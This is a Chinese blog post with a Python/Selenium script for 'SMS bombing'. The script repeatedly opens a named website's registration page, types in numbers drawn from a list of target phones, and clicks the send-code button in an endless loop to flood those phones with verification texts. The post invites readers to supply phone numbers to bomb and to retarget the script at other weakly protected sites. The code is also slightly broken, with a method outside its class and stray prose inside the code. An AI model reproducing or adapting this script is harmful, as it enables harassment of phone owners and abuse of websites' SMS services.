python实现简单的短信验证码轰炸

基本原理:

利用某些限制不严格的网站短信注册接口,用Python模拟,传入被炸人手机号码,实现轰炸

有多种方式,可以模拟接口请求,也可通过模拟xml中元素定位模拟手工执行

本文通过第二种方式


环境要求:

python3.X 

需要安装谷歌插件http://chromedriver.storage.googleapis.com/index.html

需安装匹配版本的driver, 放于C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe"


入口函数

from threading import Thread

from hongzha import HongZha

hongzha = HongZha()

tongren=Thread(target=hongzha.tongren,args=("同人",))

tongren.start()

from selenium import webdriver

import time

import random

# 需要查看网页源代码定位到xml中具体填的是哪一个

class HongZha(object):

    def __init__(self):

        self.phone = ["155xxx","185xxx","133xxx","138xxx","156xxx" ] # 你要轰炸的电话号码

        self.num = 0

    def send_yzm(self, button, name):

        button.click()

        self.num += 1

        print("{}  第{}次  发送成功  {}".format(self.phone, self.num, name))

        time.sleep(1000)


def tongren(self,name):

    while True:

        driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")

        driver.get("https://tn.gaywb.com/member.php?mod=register")

        tel = driver.find_element_by_xpath("//input[@id='mobile']")

        actual=random.choice(self.phone)

        tel.send_keys(actual)

        time.sleep(6)

        button = driver.find_element_by_xpath(

            "//div[@class='phoneSend_2']")

        button.click()

        time.sleep(600)

        self.send_yzm(button, name)

        driver.quit()

        print("---------"+actual)

         找到某个网站的注册页面,也就是driver.get需要填入的参数

         查看网站源代码 找到xml中 需要手机号的那个元素的定位 模拟点击 就可以实现验证码的发送了。


欢迎关注我的博客原文:https://blog.csdn.net/u013517801/article/details/107311973

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。